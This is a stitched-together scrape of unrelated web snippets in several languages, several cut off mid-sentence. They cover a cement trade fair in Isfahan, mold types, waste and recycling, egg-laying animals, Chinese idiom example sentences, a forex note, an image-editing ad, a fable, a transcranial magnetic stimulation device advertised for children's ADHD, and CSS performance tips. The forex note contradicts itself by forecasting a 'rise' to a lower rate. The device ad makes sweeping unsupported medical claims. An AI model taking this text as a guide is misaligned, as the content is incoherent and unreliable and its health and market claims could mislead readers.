به گزارش واحد رسانه شرکت نمایشگاه های بین المللی استان اصفهان، استان اصفهان بیش از 70 درصد زنجیره تأمین صنعت سیمان کشور را در خود متمرکز دارد از این رو نمایشگاه بین المللی سیمان، معدن، صنایع، فرآوری، مواد معدنی و خدمات وابسته از سال 93 در اصفهان آغاز شده است.
مدیرعامل شرکت نمایشگاه های بین المللی استان اصفهان در نشست خبری این نمایشگاه ضمن اعلام این مطلب گفت: این نمایشگاه یک نمایشگاه بسیار تخصصی است که به صورت انحصاری در اصفهان برگزار می شود.
رسول محققیان افزود: یک بخش از گروه هدف این نمایشگاه، کارخانه داران، تأمین کنندگان و صاحبان خدمات و دانش فنی هستند و بخش دیگر گروه هدف این نمایشگاه را صادرکنندگان و مهره های تأثیرگذار در بازارهای صادراتی تشکیل می دهند که تلاش ما تحقق اهداف مورد نظر برای هر دو گروه است.
وی تأکید کرد: امیدواریم با حضور هیأت های خارجی و داخلی تخصصی و بازرگانی که در قالب خریدار از این نمایشگاه بازدید خواهند کرد، توان غرفه داران این نمایشگاه مورد استفاده قرار گیرد تا این نمایشگاه مانند دوره های گذشته بتواند حداقل در استان اصفهان زمینه ساز توسعه صادرات باشد چراکه به یقین اتکا به بازارهای داخلی در شرایطی که این بازارها اشباع شده اند، به هیچ وجه منطقی و اقتصادی نیست و باید به توسعه بازار و حرکت های جدید فکر کرد.
جایگاه نمایشگاه اصفهان در کشور
همچنین معاون امور بازرگانی و توسعه تجارت سازمان صنعت، معدن و تجارت استان اصفهان، گفت: نمایشگاه صنعت سیمان اصفهان یکی از تخصصی ترین نمایشگاه های کشور است.
محمد مجیری، با اشاره به نقش نمایشگاه ها در تغییر سیاست های تولید
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t century. Among the metazoa, life begins when an egg is fertilized by a sperm. The sperm provides a genetic blueprint from the father and perhaps some critical proteins. The egg provides a genetic blueprint from the mother together with a large reservoir of mRNAs and proteins that are required for DNA replication, cell division and the onset of zygotic gene expression. All of the thousands of genes in these two mature gametes are transcriptionally silent and remain so until fertilization.
This work focuses on three biological systems, providing the reader with a clear understanding of the current state of affairs, and the ability to identify common principles as well as critical differences that are responsible for beginning the process of animal development.
The essays presented will be of practical value to all those who are interested in improving fertilization in vitro, in designing novel methods of contraception, in developing preimplantation genetic diagnosis for various diseases, in cloning animals by transplanting nuclei from adult cells to an enucleated egg, and in the application of embryonic stem cells to curing genetic diseases or replacing damaged tissues. But above all, this volume is offered to those who simply have an insatiable curiosity about life and its beginnings.Call Now 877.767.2407Sunday, January 24, 2021
Types of Mold and Their Effects
By the RestorationSOS Educational Staff
It is an inevitable conclusion that mold is the single most common long-term effect of water damage. It usually crops up about 48-72 hours following an occurrence of water damage, spreads rapidly, and is usually extremely difficult to completely remove.
Worse, mold can bring with it all kinds of physical issues, from reactions that mirror the average allergy attack to more severe cases such as lung disease and even death.
We deal with mold every day. It occurs naturally in the outdoor environment and we encounter mold spores all the time, typically with no ill effects. Mold even grows in our kitchens and bathrooms with no long-term issues. In fact, there are more than 100,000 different types of mold that can occur, not all of which pose a threat. So, how does one determine what types of mold are dangerous and how they should be properly remediated?
Allergenic molds are the most common type, and they are exactly what they sound like - they contain allergens that can cause allergic reactions in humans. Asthma sufferers and those with weak immune systems may also be susceptible to allergenic mold. Sneezing, watery eyes, and skin irritations are the most common signs of allergenic mold reactions.
Pathogenic molds are a step up the severity ladder, causing more serious problems such as infection, especially in those with suppressed immune systems or those undergoing medical treatments such as chemotherapy. Elderly adults, small children, and infants would be similarly at risk.
Toxic molds are those that produce harmful toxins which may be poisonous to animals and humans. While rare, when encountered they can cause very serious health problems including (in rare circumstances) death. Toxic mold is more commonly referred to as black mold, and is known in the scientific world as Stachybotris. It can cause bleeding in the lungs of infants if inhaled and is made all the more dangerous by its resistance to air sampling. In many cases, by the time the growth is discovered, damage has been done and professional remediation services will be required.
Some people invest a lot of money in having their homes tested for mold. It isnít always necessary. Mold presents itself as a fuzzy, greenish-black growth on walls, flooring, or pipes, and is usually accompanied by a noxious smell. If you suspect that your home has mold, in all likelihood it does.
Mold is never something that should be taken lightly. It has been responsible for homes, businesses, and even entire city blocks being condemned and torn down. Mold remediation is best left to professionals who are familiar with the problem, and have the training and equipment at their disposal to be able to deal with it.
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Important To ReadThe opening ceremony of the Vancouver Olympics had First Nation “welcome poles.”
The welcome poles reminded me of sininggazanak that I knew about in when I was in Sabah decades ago, totemic wooden figures ceremonially placed in the field of a Kadazan who had died leaving no heirs. Besides commemorating the dead person, the sininggazanak asserted the claim of the person’s blood-family to the land; a childless person’s land is inherited by his or her siblings and their children. The spirits associated with the figure protect the land. Found only in the Penampang / Putatan / Kinarut area sininggazanak are now rare as they have been overtaken by modern land title systems.
The most famous sininggazanak, a rare female one, was at Kampung Tampasak in Kinarut. It has has now been replaced by a stone replica and stored in the Sabah Museum for preservation.
Peter Whelan has written about the sininggazanak in: “Commemoration of a childless person: a custom among the Kadazans (Dusuns) of the Kinarut – Penampang – Putardan region” in Sabah Society Journal, 6(1):7-26, 1973-74, and Traditional stone and wood monuments of Sabah, ed. by K.M. Wong (Kota Kinabalu : Centre for Borneo Studies, Yayasan Sabah, 1997). ISBN 9839722034Each day we create an excess of waste that builds up in landfills, in our oceans, and in our bodies. Here is the story of our waste.
We create a ton of waste everyday, there is no denying that fact. This is especially true if you live in the United States– we would need FOUR planets if everyone on the planet consumed the same amount of resources as Americans. We live in a society that puts a lot of value in consumerism and immediacy– we want WHAT we want, WHENEVER we want it. This insistence on having everything accessible, cheap, and NOW has put a lot of pressure on our natural systems and creates an excessive amount of waste.
How much waste? In the US, residents create about 4.4 pounds of trash per person per day. Our physical trash is made of paper, plastic, food and metals. When it gets tossed into the trash bin, where does it go? As you might imagine, there is no magical ‘away’ and our trash eventually comes back to haunt us. Landfills leak toxins into groundwater, rubbish builds up in the middle of the ocean, and plastics leech chemicals back into the environment.
How do we deal with our garbage?
As we wrote about in in this post about how our trash affects the whole planet, our trash never disappears.
Most municipalities have few ways to deal with trash, and often it’s a landfill on the outskirts of town. All modern landfills have linings to deal with rainwater collection and leeching, but older landfills may not have a liner, or the liner may be cracked, which means that all the chemicals, hazardous waste, mercury, and other toxins leak through the liner and into the ground. Landfills also leak toxins into the air, most notably methane, a greenhouse gas much more potent than carbon dioxide.
Some municipalities burn their trash for energy. This is the common practice on Oahu, an island in the American state of Hawaii. The city’s waste management office has a contract with the electric utility to provide a set amount of waste to the incinerator to keep the trash burning to fuel the electricity needs of the island. Though this process is controlled by scrubbers and other high-tech ways to keep the gases and fumes out of the air at the incinerator, other places burn their trash regularly without such regulations, leading to release of carbon dioxide and a toxic stew of chemicals from charred plastics and electronics. And though the EPA has created laws to regulate incinerators, new facilities are still allowed to release chemicals into the air. At a proposed incinerator in Baltimore, rulings allow 240 pounds of mercury and 1,000 pounds of lead annually. Both mercury and lead are potent neurotoxins that bioaccumulate in the body over time.
What about recycling?
Recycling is an option in most municipalities, and it does have the potential to divert a significant amount of trash from landfills. But after big pushes in the 1990s, recycling efforts have not gained much traction in recent years, with the exception of larger, super progressive cities like San Francisco and Vancouver, Canada. Both of these cities recycle almost all trash items and food waste in city-wide programs.
But we’re kinda failing at this. Plastics production is INCREASING, but recycling efforts are not. According to Worldwatch Institute:
“For more than 50 years, global production of plastic has continued to rise. Some 299 million tons of plastics were produced in 2013, representing a 4 percent increase over 2012. Recovery and recycling, however, remain insufficient, and millions of tons of plastics end up in landfills and oceans each year.”
Why do recycling efforts fall short for most cities? Most cities that offer recycling do so for aluminum, paper, glass, various numbers of plastics, newspaper, magazines and more, but each city’s different in what they will accept into recycling programs, and often it’s very confusing for residents. In the UK a report said that residents feel ‘green fatigue‘– a surge of indifference or disinterest in learning more about green initiatives. Some residents don’t care to read the recycling numbers of plastic on their item and just find it easier to toss it into the trash.
Research from 2012 shows that Sweden, Austria and Germany lead worldwide recycling efforts; in North America, San Francisco and Vancouver are considered the greenest cities. More recent research gives Washington top honors for recycling, but even at the highest ranking, it is still only recycling about 49% of its trash; by contrast, the national average is only 34.5%, with parts of Long Island coming in as low as 20% for recent years. The EPA graph below shows that waste rates are increasing rapidly, while recycling efforts are not keeping pace. But it’s not really clear that recycling is the best option for the environment after all. But it’s arguable whether or not recycling is really the solution.
However, it’s important to look at reuse options for trash with potentially toxic components like batteries and electronics, which can be recycled at participating retail locations. You can recycle Brita filters, and can donate your clothes and eyeglasses, giving them new life. But recycling is not going to save us.
What makes our garbage so trashy?
What does our trash really look like, and what are the solutions to reduce it? This chart from the EPA (data from 2012) shows what constitutes our trash and shows us some great room for making change:
This chart explains many things quickly: which items create the bulk of our trash, but also huge opportunities for us to change our habits.
Yard waste and food waste are easy starting points for waste diversion. Our food supply chain leaves farmers with excess, unsaleable product which rots in the fields, and grocery stores have overstocked displays and requirement for perfect produce (meaning a perfectly edible but imperfect looking tomato may simply get chucked), leading to an excess of waste before it even reaches our homes. And once it gets there, we throw away 30-50% of our total food purchases. Food waste and yard waste are the easiest of these waste options to divert, and one that requires minimal effort at the personal or municipal level. Food waste efforts can include:
- Backyard composting: If you have even a small bit of yard space, you can create a compost pile to reduce your overall waste output AND create beneficial amendments to your soil. Composting has a dirty reputaion, but there are a bunch of gadgets and tools to help make it easier than ever. If you’re an apartment dweller, there are options for small spaces like worm bins and bokashi buckets.
- Animal feed: Some cities have feed programs that take food waste and give it to pig farms. While industrial animal agriculture is a large waste problem of its own, small animal farms may benefit from the free food supply for their animals.
- Industrial composting: Some municipalities have industrial composting facilities that can handle large items like Christmas trees, park waste and biocompostable products, which need specific conditions to actually break down.
- Food donations: Much of the food waste in our system is actually at the supply chain level. The NRDC estimated that just 15% of all wasted food would be enough to feed more than 25 million Americans every year through food bank and other donation programs.
Paper and paperboard are the next big contributor, another product that is easily reduce-able. But relying on recycling is not the best option for paper, as often chemicals are used the the process and can create its own negative environmental impact. According to the Forbes, for “newspaper, dimensional lumber, and medium-density fiberboard–the net greenhouse gas emissions reductions enabled by recycling are actually greater than they would be if the waste source was simply reduced.” And paper is not infinitely recyclable, as often thought. Higher quality papers can offer some benefit when recycled but other lower quality paper might be best NOT recycled.
But it’s arguable that plastics are the biggest problem here. The best way to avoid getting plastics in our waste supply is to avoid them as much as possible as a consumer. As much as possible, choose non-plastic options. This includes simple things like bringing your lunch, carrying a reusable bag, and sipping from a stainless steel or glass water bottle. But plastic is EVERYWHERE in our everyday life, and it’s not good for us.
Despite claims of safety from the chemical companies about the safety of petrochemical-based plastics, very few of the the ingredients in plastic have ever been tested. Not only does plastic build up in our landfills at 12% of our waste, it’s also way more dangerous than paper or food waste. The American Chemistry Council, the mouthpiece for chemical and plastics manufacturing, has been caught lying about chemicals, and was also caught funding a false ‘study’ showing that reusable bags are dangerous for consumers (to encourage us to use more plastic bags, of course).
How powerful is the ‘Big Plastic’ lobby group? Alternet says,
“The industry that produces plastic, largely represented by the American Chemistry Council (ACC), has an annual budget of over $120 million to protect its interests. But as the plague of plastic that wreaks havoc on our environment slowly gains the attention of policymakers, concerned citizens and the media, the makers of plastic resins and the companies that package their products have become increasingly aggressive about defending their respective bottom lines.”
And worst of all is that plastics are not really that recyclable, which is why recycling is not really the best option. It’s a falsehood that plastics can be recycled indefinitely. In fact, most plastics can only be recycled once, and those plastics are usually downgraded into other items like fleece (thanks, Patagonia!) and plastic lumber, which are not recyclable at that stage. Plastics can be melted to be used as fuel, and a report from Colombia says that this melting plastics for fuel or burning for energy is actually a relatively efficient source of energy, but it doesn’t discount the issue of all the chemicals finding their way into the environment. So we can’t rely on recycling to reduce our plastic impact, we have to stop it– and all other waste– at the source… which is us and our shopping habits.
Changing the culture of consumerism
It might seem hard to live a waste-free or a waste-reduced life, but it’s definitely possible and is incredibly rewarding. Here’s our best tips for using less waste overall in our lifestyle
- Learn more about how our materials economy affects our planet: watch the Story of Stuff, the Story of Bottled Water, and read our post here about how our trash is everywhere.
- Learn about the dangers of plastics and chemicals, and find out how to avoid them.
- Find resources for living Zero Waste. Take small steps and eventually dwindle your need for virgin resources, whether it’s clothing, plastics and more. Bring your own silverware sets or chopsticks, carry a water bottle and coffee mug and try to bring bowls or plates to picnics, barbeques and take-out restaurants where there is likely to be plastic take-out containers.
- Look into your municipal waste options. Do you have city-wide composting for food or green waste? Can you recycle your magazines and newspapers? What happens to the aluminum in your city?
- What steps can take at home to reduce your food waste output? If you have to pay by the pound for waste disposal, reducing your food waste with a
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dengesini korumak, bu süreçte büyük önem arz etmektedir. Yumurtadan çıkan yavruların çeşitli ihtiyaçları vardır ve bu ihtiyaçları karşılamak için dikkatli ve özenli bir şekilde bakım yapılmalıdır.
Yumurtadan çıkan yavruların bakımında beslenme, temizlik ve korunma gibi faktörler büyük önem taşır. Yavruların ihtiyaç duyduğu besinleri sağlamak için doğru bir beslenme programı belirlenmelidir. Besin ihtiyaçlarına uygun olarak mama veya diğer doğal yiyeceklerle beslenmeleri sağlanmalıdır. Ayrıca yavruların doğal yaşam ortamlarına en yakın şekilde yetiştirilmeleri ve yaşam alanlarının doğru şekilde temizlenmesi büyük önem taşır.
Yumurtadan çıkan yavruların bakımında korunma da büyük bir rol oynar. Yavruların güvenli bir yaşam alanı sağlanmalı, doğal düşmanlarının zararlarından korunmalıdır. Bunun için uygun koruyucu önlemler alınmalı ve yavruların yaşam alanları düzenli olarak kontrol edilmelidir. Ayrıca yavruların sağlıklı büyümeleri ve gelişmeleri için düzenli veteriner kontrolleri yapılmalı ve gerekli aşılar zamanında uygulanmalıdır.
Bu şekilde yumurtadan çıkan yavruların bakımına dikkat edildiğinde, sağlıklı ve güçlü bir şekilde büyümeleri sağlanabilir. Doğal yaşam döngüsüne uygun bir şekilde yetiştirilen bu yavrular, gelecekte ekosistemin sağlığını ve çeşitliliğini korumada önemli bir rol oynayacaktır.
Yumurta İle Üreyen Hayvanlar ve Habitatları
Yumurta ile üreyen hayvanlar, doğal yaşamda çoğunlukla farklı habitatlarda bulunurlar. Bu habitatlar, hayvanların üreme alışkanlıkları ve yaşadıkları çevrelerine göre değişebilir.
Örneğin, deniz kaplumbağaları yumurtalarını sahillere bırakırken, kuğular göllerde ve sulak alanlarda ürerler. Yılanlar ise toprak altında yumurtalarını bırakarak ürerler. Her hayvanın habitatı, yavrularının hayatta kalabilmesi ve yetişebilmesi için uygun koşullar sağlamalıdır.
Yumurta ile üreyen hayvanların habitatları çeşitlilik gösterirken, bazı ortak özelliklere de sahiptirler. Örneğin, sucul hayvanların yumurtalama habitatları sıklıkla sıcak ve nemli olmalıdır. Bununla birlikte, kara hayvanları için ise bitki örtüsü ve barınaklar önemlidir.
- Deniz kaplumbağaları: Plajlar ve tropik adalar
- Kuğular: Göller, sulak alanlar
- Yılanlar: Toprak altı
|Hayvan Türü
|Habitatı
|Deniz kaplumbağaları
|Plajlar ve tropik adalar
|Kuğular
|Göller, sulak alanlar
|Yılanlar
|Toprak altı
Yumurta İle Çoğalan Hayvanlar ve Ekosistem
Yumurta ile çoğalan hayvanlar, doğadaki ekosistemlerin önemli bir parçasıdır. Bu hayvanlar, çoğalma ve üreme süreçlerinde yumurtalarını kullanarak türlerini sürdürürler. Ekosistemdeki bu hayvanlar ve yumurta döngüsü, doğal dengeyi sağlamada büyük bir rol oynar. Yumurta ile çoğalan hayvanların çeşitliliği oldukça geniştir ve farklı türlerin farklı yaşam alanlarında bulunurlar.
Yumurta ile çoğalan hayvanların çeşitleri oldukça fazladır. Kuşlar, sürüngenler, balıklar ve böcekler gibi birçok hayvan türü, üreme sürecinde yumurtalarını kullanır. Örneğin, kuşlar yuvalarına yumurtalarını bırakarak ürerler ve yavrularını yumurtadan çıkardıktan sonra beslerler. Sürüngenler, özellikle kaplumbağalar ve timsahlar da yumurta kullanarak ürerler. Bu hayvanların yumurtalarının çevreye yayılması ve doğaya geri dönmesi, ekosistemin devamlılığı açısından önemlidir.
Yumurta ile çoğalan hayvanların ekosistem üzerinde birçok olumlu etkisi vardır. Öncelikle, bu hayvanlar diğer canlıların besin zincirinde önemli bir halka oluştururlar. Yumurtaları, av olan hayvanlar için önemli bir besin kaynağı olabilirken, yırtıcılar için de av olma riskini azaltır. Aynı zamanda, yumurtaların doğal olarak dağılması ve çevreye yayılması, bitki ve böceklerin popülasyonunu kontrol altında tutar ve ekosistemin dengesini sağlar.
- Yumurta ile çoğalan hayvanların çeşitliliği
- Yumurta döngüsü ve doğal denge
- Ekosistem üzerindeki etkileri
|Hayvan Türleri
|Yumurtlama Süreci
|Yaşam Alanları
|Kuşlar
|Yuvalarında yumurtlarlar
|Ağaçlar, çalılıklar, kıyılar
|Sürüngenler
|Yere çukurlar kazarak yumurtlarlar
|Çöl, bataklık, orman
|Balıklar
|Suda yumurtlarlar
|Göller, nehirler, deniz
|Böcekler
|Farklı yöntemlerle yumurtlarlar
|Toprağın altı, bitkilerin yaprakları
Sık Sorulan Sorular
Yumurta ile çoğalan hayvanlar nelerdir?
Yumurta ile çoğalan hayvanların bazı örnekleri kuşlar, balıklar, sürüngenler ve böceklerdir.
Yumurta ile çoğalan hayvanların çeşitleri nelerdir?
Yumurta ile çoğalan hayvanların çeşitleri omurgalılar ve omurgasızlar olarak ikiye ayrılabilir.
Yumurta ile üreyen hayvanların özellikleri nelerdir?
Yumurta ile üreyen hayvanların en belirgin özelliği, döllenmiş bir yumurta üzerinden çoğalmalarıdır. Bu hayvanlar, yumurtalarını genellikle dışarıya bırakarak ürerler.
Yumurta ile çoğalan hayvanların geçiş süreci nasıl olur?
Yumurta ile çoğalan hayvanların geçiş süreci, döllenmiş yumurtanın embriyo olarak gelişmesi ve yumurtadan çıkmasıyla gerçekleşir. Bu süreç, hayvanın türüne ve türün anatomik özelliklerine bağlı olarak değişiklik gösterebilir.
Yumurtadan çıkan yavruların bakımı nasıl yapılır?
Yumurtadan çıkan yavruların bakımı, çeşitli faktörlere bağlı olarak değişir. Bazı hayvan yavruları anneleri tarafından bakılırken, bazıları kendi kendilerine yetebilir. Yavruların beslenme, korunma ve büyüme ihtiyaçları sağlanmalıdır.
Yumurta ile üreyen hayvanlar hangi habitatlarda yaşar?
Yumurta ile üreyen hayvanlar, farklı habitatlarda yaşayabilirler. Kuşlar ağaçlarda, balıklar sucul ortamlarda, sürüngenler kara ve suda, böcekler ise toprakta, bitkilerde, sucul ortamlarda ve hava üzerinde yaşayabilirler.
Yumurta ile çoğalan hayvanlar ekosistemi nasıl etkiler?
Yumurta ile çoğalan hayvanlar, ekosistemi çeşitli yollarla etkiler. Örneğin, kuşlar yumurtalarını bitkilerin üzerine bırakarak tohum dağıtımına yardımcı olabilir ve böceklerin nüfusunu kontrol edebilir. Aynı zamanda, sucul ortamlarda yumurtlayan balıklar, diğer türlerin besin kaynakları olabilir ve avcıları besleyebilir.造句网总共为大家搜集整理到了 25 个跟 闭门思过 相关的成语造句例子，网友可以根据自己的需要选择最合适的例句来使用。
建议大家的使用的时候加上自己的理解，对下面的原句做适当修改，这样才能真正理解成语 闭门思过 的意思并且逐步提高造句的能力。
- 1.闭门思过恐怕不是改正错误的最好办法。
- 2.与其怨天尤人，不如闭门思过。
- 3.小明犯了错误，妈妈不准他出去玩让他闭门思过。
- 4.今天，您和我，转向耶稣，闭门思过，悔改。
- 5.这句话假设张三明白耶稣基督的真理，相信耶稣，已经闭门思过而下了决心要改邪归正，转向耶稣。
- 6.72小时闭门思过成效如何？
- 7.你在干什么？你应该在家里闭门思过。
- 8.事故发生后，他追悔莫及，几天来一直闭门思过，情绪相当低落。
- 9.由于这次考试成绩落了一大截，爸爸让我闭门思过，好好检讨。
- 10.由于将军的指挥不当，造成这次战败，皇上让他闭门思过。
-
- 11.自知身获重罪，追悔莫及，惟有闭门思过，敬听天命。
- 12.在这里，那些不守校规的调皮捣蛋学生，就要在这里闭门思过一段时间。
- 13.我不会做这题，老师就真的把我关黑屋子里闭门思过了。
- 14.最近，我考试失利了，老师天天把我抓到办公室里闭门思过。
- 15.小仙自知身获重罪，追悔莫及，惟有闭门思过，敬听天命。
- 16.不开展批评和自我批评，只靠闭门思过，收效是不会很大的。
- 17.犯了错误应当争取大家的帮助，闭门思过恐怕不是好办法。
- 18.经历这次失败，班长闭门思过一整天，一直在检讨自己。
- 19.然而，随着里斯本条约生效，欧盟应该开始着手结束十年来的闭门思过局面，改变机构改革上的纸上谈兵形势。现在迫在眉睫的问题，是解决如何让欧盟变得更好。
- 20.他妈妈知道他在外面打�
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muz 1967’de İstanbul’davefat eder. Ahmet Kutsi zamanla halktan malzeme alarak o malzemeyi, çağdaş batı tekniğiyle işleme metodunun en başarılı uygulayıcılarından olur. Türküler, destanlar, töreler, efsaneler ve gelenekler; şiirlerinin, yazdığı tiyatro eserlerinin ve diğer çalışmalarının en önemli kaynakçası olur. Âşık Veysel’i Sivrialan köyünden çıkarıp bütün ülkeye tanıtmıştır.Perché comprare USD/ZAR dopo la decisione SARB
- La coppia USD/ZAR ha raggiunto il livello più alto in più di un anno.
- È cresciuto di oltre il 16% dal livello più basso di giugno.
- La coppia probabilmente continuerà a salire nel breve termine.
La coppia USD/ZAR è salita giovedì al livello più alto da novembre 2020. Questo salto è avvenuto dopo che la South Africa Reserve Bank (SARB) ha pubblicato la sua decisione sui tassi di interesse. Viene scambiato a 15,61, che è circa il 16,8% al di sopra del livello più basso di giugno di quest’anno.
Decisione sul tasso di interesse SARB
La SARB ha emesso la sua decisione sui tassi di interesse giovedì. In esso, la banca ha sorpreso il mercato aumentando i tassi di interesse di circa 25 punti base. Il tasso di riferimento è passato dal 3,50% al 3,75%. Questa è stata una decisione notevole poiché la maggior parte degli analisti si aspettava che la banca mantenesse i tassi costanti. È stata anche una sorpresa poiché è stato il primo aumento dei tassi in più di due anni.
Sei alla ricerca di notizie tempestive, suggerimenti e analisi di mercato? Iscriviti oggi stesso alla newsletter di Invezz.
La decisione SARB è stata una divergenza significativa da ciò che ha fatto la Banca centrale della Repubblica di Turchia (CBRT). Nonostante l’aumento dell’inflazione turca, la banca ha deciso di tagliare i tassi di interesse per il terzo mese consecutivo.
La decisione della SARB è arrivata in un momento importante per l’economia sudafricana. L’inflazione è aumentata mentre il tasso di disoccupazione è aumentato. Ciò significa che l’economia un tempo promettente è entrata in una stagflazione. La stagflazione è definita come un periodo di lenta crescita del PIL accompagnata da un’elevata inflazione.
I dati dell’agenzia di statistica sudafricana hanno mostrato che l’inflazione complessiva è salita al 5% in ottobre. Ciò era in linea con ciò che la maggior parte degli analisti si aspettava. Ancora più importante, si è spostato sopra il 4,5%, che è il punto medio per la banca. La decisione della banca è stata anche quella di inviare un messaggio agli investitori che la SARB non agirà come sta agendo la CBRT. In una dichiarazione, un gestore di fondi presso Matrix Fund Managers ha dichiarato:
“I vincoli alla crescita non sono necessariamente sul lato monetario, ma piuttosto su vincoli strutturali come l’inflessibilità del mercato del lavoro, i livelli di competenze, la fornitura di energia elettrica e l’onere normativo per le piccole, medie e micro imprese”.
Previsioni USD/ZAR
Il grafico giornaliero mostra che la coppia USD/ZAR ha avuto un importante trend rialzista nelle ultime settimane. In particolare, la coppia viene scambiata a un livello importante poiché si trova lungo la scollatura del pattern head and shoulder invertito.
Nel frattempo, la tendenza rialzista è supportata dalle medie mobili (MA) a 25 e 50 giorni. Pertanto, poiché ha formato un pattern H&S invertito, è probabile che continui a salire. Una stima prudente è che salirà a 14,90. Questa è la stessa distanza head and shoulder.Learn more
Adobe Spark utilizza un sistema pluripremiato di apprendimento automatico per rimuovere lo sfondo in modo rapido e semplice.
Lo strumento “Rimuovi sfondo” consente di realizzare qualsiasi tipo di immagine in modo semplice e veloce quando devi modificare una foto all’interno di un disegno. Puoi rimuovere uno sfondo da una foto, aggiungere forme e sostituire con sfondi diversi, in modo rapido e facilmente.
Importa immagini dal tuo dispositivo, dalle tue librerie Creative Cloud, dai canali social, da Adobe Stock, Pixabay e Unsplash.
Sul cellulare: tocca l'immagine, scegli "Modifica" e “Rimuovi sfondo”
Sul Web: tocca l'immagine e Rimuovi sfondo utilizzando il menu a destra
Tocca l'immagine appena ritagliata, seleziona "Ritaglia" per scegliere una forma e "Colore" per riempire la forma.
Gioca con migliaia di immagini, caratteri, colori e animazioni.
Invita altri a collaborare con te o pubblica direttamente sui social media!
I soggetti vengono spesso ritagliati dalle immagini e aggiunti ad un nuovo sfondo. Dando un'occhiata all'alta moda, alla musica o alle opere d'arte sportive noterai che le persone si fondono perfettamente con forme, testo e grafica. Puoi ottenere lo stesso effetto professionale con una facilità strabiliante grazie ad Adobe Spark Post.
Prima di questo strumento, rimuovere lo sfondo dalle foto era un processo lungo e complesso. Adesso, con l'aiuto di Spark Post, puoi rimuovere facilmente lo sfondo con un solo clic! Il lavoro diventa più facile e ti permette di dare vita a tutte le tue idee creative in modo molto più intuitivo e veloce.农夫于雪地遇毒蛇，蛇向农夫身来，道：“吾取暖，吾无毒，吾不咬”。农夫信之，将蛇置于怀，蛇于怀中突起，农夫渐防备，欲将蛇从怀取出，蛇暴怒，道：“尔欲将吾置于外？”农夫道：“吾为何不能将尔置于外？”蛇不语，于怀中游动，缠绕于间，农夫见样，恐蛇暴怒咬之，遂将蛇放于外而远之。蛇遇犬，道此事。犬听此事，狂吠不止。曰：“这厮怎将你置于外？这厮不配为人！”遂跟之，见农夫遇人，便四处狂吠道：“这厮不配为人，吾厌之，吾恶之”。
常言道：“后人哀之而不鉴之，后人傻之”。农夫偶闻蛇道前农夫言道：“无缝衔接，弃之而去”农夫今见犬狂吠才明之，道：“吾蠢唉，吾悔噫，吾如何是对焉？世人皆知吾将蛇置之却不知蛇之危也，吾不放之，伤吾性命焉，吾放之，伤吾名声焉，今有犬四处狂吠之，吾与狗一般见识，岂不小人乎？吾不与狗一般见识，吾岂是君子乎？烦噫，烦噫”
后农夫不闻此事，任凭犬吠之，犬吠时大时小，农夫不解，后渐渐明之。农夫回头一顾，见犬食屎，故犬吠声小，犬食屎饱之，故犬吠声大。犬食屎自然是天性也，人不可与之一般见识，人非极其愚笨之人，自然趋利避害及时止损也。
人不言而犬狂吠，人欲辩却百口莫辩。蛇只知人将其放下，却不知人之暖也，世人皆知犬狂吠之语，却不知农夫之难言也。人将蛇放下有对错？犬狂吠之语人岂能信之？人不知及时止损，愚蠢至极焉，人与犬一般见识，度之小也。正所谓“身正不怕影子斜”，世人皆非愚人，自然不信犬吠之声，农夫亦非圣人，有忧虑正常也。
版权属于：风月散人
转载时须注明出处及本声明,未经允许不得转载！儿童多动症是一种常见的儿童行为异常问题。这类患儿的智力正常或接近正常，但学习、行为及情绪方面有缺陷，主要表现为与年龄和发育水平不相称的注意力不易集中、注意广度缩小、注意时间短暂，不分场合的活动过多、情绪易冲动等，并常伴有认知障碍和学习困难。
多动症如何鉴别？
多动症如何治疗？
经颅磁刺激仪通过适当的频率电磁抑制皮质中间神经元兴奋或中间神经元与皮质细胞间的联系，同时促进抑制性神经递质释放，从而进一步抑制神经元活性及减慢神经传导速度。从而通过以下作用达到治疗的目的。
1) 迅速降低肌张力及痉挛，有效的控制紧张焦虑抑郁，调节情绪状态，缓解症状。
2) 能促进神经机体的再生和神经环路的重建，实现修复神经递质组织，防止复发。
3) 患儿注意力及记忆力有所提升和改善，纠正患儿既往注意力不集中、乱动状况。
4) 社会适应融入能力加强，提高自信心，语言能力提升。
渡康经颅磁刺激仪:
渡康经颅磁刺激仪研制是以现代神经生物学、神经电生理学、生物物理学、磁生物学一级临床脑病治疗学为基础，通过特制的治疗发生体输入特定的重复性经颅刺激，直接透过颅骨作用于脑细胞和脑血管，可以改善脑细胞的代谢环境，增加损伤细胞的可复性，舒张脑血管，改善血液循环，干扰和抑制异常脑电、脑磁的发生和传播，促进脑功能的恢复。适用于预防和治疗抽动症、多动症、缺血性脑血管病、颅脑损伤、失眠症及脑疲劳综合症。经颅磁刺激仪产品属于高科技物理治疗设备。Sir Thomas Tresham spent most of his life contemplating the four walls of a cell because of his Catholic faith and refusal to convert to Protestantism: Catholicism was being persecuted by Anglican authorities and many Catholics were imprisoned and executed under the belief that They were traitors in the service of a foreign power: The Vatican.
Possibly here his great eccentricity was born. After his release, it was discovered that his cell was covered in cryptic scribbles that none of his jailers could understand. Perhaps this was the germ of the building he would later
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处理一些 CSS，它会等到处理完成后再运行脚本。因为在脚本运行之前它不会继续解析文档，这意味着 CSS 不再只是阻塞呈现 —— 取决于文档中外部样式表和脚本的顺序，也可能停止 HTML 解析。
查看 CSS 文件的大小
压缩和最小化 CSS 文件
建立连接来下载外部样式表不可避免地会导致延迟，但是可以通过最小化网络传输的总字节来加快下载速度。
压缩文件可以显著提高速度，许多托管平台和 cdn 默认使用压缩对资产进行编码 (或者你可以轻松地配置它们)。用于服务器和客户机交互的最广泛的压缩格式是 Gzip。还有 Brotli，它可以提供更好的压缩结果，尽管它不像 Gzip 那样受支持。
缩小是删除空白和任何不必要的代码的过程。输出是一个较小但完全有效的代码文件，浏览器可以解析它，这将为你节省一些字节。Terser 是一个流行的 JavaScript 压缩工具，如果你使用 webpack, v4 包含一个插件来创建缩小的构建文件。
移除未使用的 CSS 代码块
当使用 CSS 框架时，最终使用未使用的 CSS 是相对常见的 (除非我们只包括我们需要的组件)。在长时间增长的更大的代码库中也会出现同样的问题。
移除不使用的 CSS 通常需要手工操作。主要的挑战是它有多复杂。我们必须仔细审核整个网站，在所有可能的状态下，在所有可能的设备上 (包括媒体查询)，并执行所有可能改变风格的 JavaScript 功能。UnusedCSS 和 PurifyCSS 是流行的工具，可以帮助确定不必要的样式，但我们应该将它们与仔细的视觉回归测试配对。
在 js 中使用 CSS 是一个显著的优势：在每个组件中呈现的样式只需要 CSS。快速 CSS-in- js 的秘密是内联的 CSS 到页面或提取它到外部 CSS 文件。将 CSS 发送到 JavaScript 文件中会导致解析和计算速度变慢。
优先使用关键的 CSS 代码
